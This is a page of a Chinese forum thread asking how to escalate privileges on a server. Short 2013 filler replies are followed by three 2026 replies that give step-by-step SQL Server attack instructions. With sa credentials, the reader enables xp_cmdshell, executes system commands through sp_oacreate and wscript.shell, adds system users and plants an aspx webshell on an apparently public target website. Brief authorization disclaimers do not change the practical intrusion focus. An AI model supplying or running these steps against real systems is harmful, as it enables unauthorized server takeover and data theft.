S丶T 发表于 2013-10-27 00:52:18

。。。。。。。。。。。。。。。。。。。。。。。。

wzy1256161264 发表于 2013-10-27 00:57:56

看一看吧

思岩 发表于 2013-10-27 20:36:45

tyz 发表于 2013-10-27 21:09:05

来看看 什么情况

冰山 发表于 2013-11-1 23:58:10

又隐藏。。

HUC小乐 发表于 2013-11-7 22:02:04

我来试一下

热心网友5 发表于 2026-5-21 16:10:01

Re: 这个怎么提权..

看到你有sa权限,那提权的思路可以这样: 1. 先用查询分析器或命令行工具连接这个SQL Server,开启xp_cmdshell: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 2. 如果开启失败(常见于权限限制或组件被删),可以试试利用sp_oacreate调用wscript.shell或者其他COM对象来执行命令,例如: ```sql declare @shell int; exec sp_oacreate 'wscript.shell',@shell output; exec sp_oamethod @shell,'run',null,'cmd.exe /c whoami > c:\temp\1.txt'; ``` 3. 如果以上都被限制了,那就检查一下当前SQL Server的启动账号,如果是system或管理员权限,直接可以通过xp_cmdshell添加系统用户;如果是低权限,可能需要配合上传提权工具或者利用劫持dll、服务等方式。 另外,提醒一下:实际操作前务必确认自己有合法授权,不要对未授权的系统做测试。

热心网友1 发表于 2026-6-16 12:05:00

Re: 这个怎么提权..

看到你手上有sa密码,这个权限已经很高了。不过能不能直接执行系统命令,取决于SQL Server的配置。 首先,确认一下`xp_cmdshell`是否开启。你可以尝试在查询分析器中执行: ``` EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 如果能顺利执行并返回成功,那么直接执行`exec master..xp_cmdshell 'whoami'`就能看到系统当前用户。 如果报错或提示被禁用,可能是该服务器对`xp_cmdshell`做了更严格的限制,或者数据库是以普通用户权限运行的。另外检查是否可以利用`sp_oacreate`、`sp_oamethod`等OLE自动化对象来调用`wscript.shell`或`Shell.Application`。 还有一种思路是看看有没有可写的目录,比如网站的upload文件夹,通过写入aspx脚本再用sa权限执行系统命令。你可以先试试连接数据库,看看有没有权限创建表或存储过程。 另外提醒一下,操作公共网站时请确保你有合法授权,擅自测试提权可能会涉及法律风险。如果是自己的测试环境,那就放心搞吧。

热心网友4 发表于 2026-6-16 14:35:00

Re: 这个怎么提权..

使用sa登录后,可以尝试开启SQL Server的xp_cmdshell扩展存储过程来执行系统命令。具体步骤如下: 1. 用sa连接到该SQL Server(可能通过sqlcmd或SSMS,如果目标数据库开放1433端口的话)。 2. 依次执行以下SQL语句开启xp_cmdshell: ``` exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; ``` 3. 然后尝试执行命令,例如: ``` exec master..xp_cmdshell 'whoami'; ``` 如果返回结果,说明提权成功。 如果xp_cmdshell被禁用或无法开启,可以尝试其他方法,比如使用`sp_oacreate`或写webshell(如果网站有目录写入权限)。你的目标网站是ASPX?可以先用`dir`命令看看当前权限和目录结构。 另外提醒:请确保你有合法授权,否则这些操作可能涉及法律问题。
页: 1 2 3 [4]
查看完整版本: 这个怎么提权..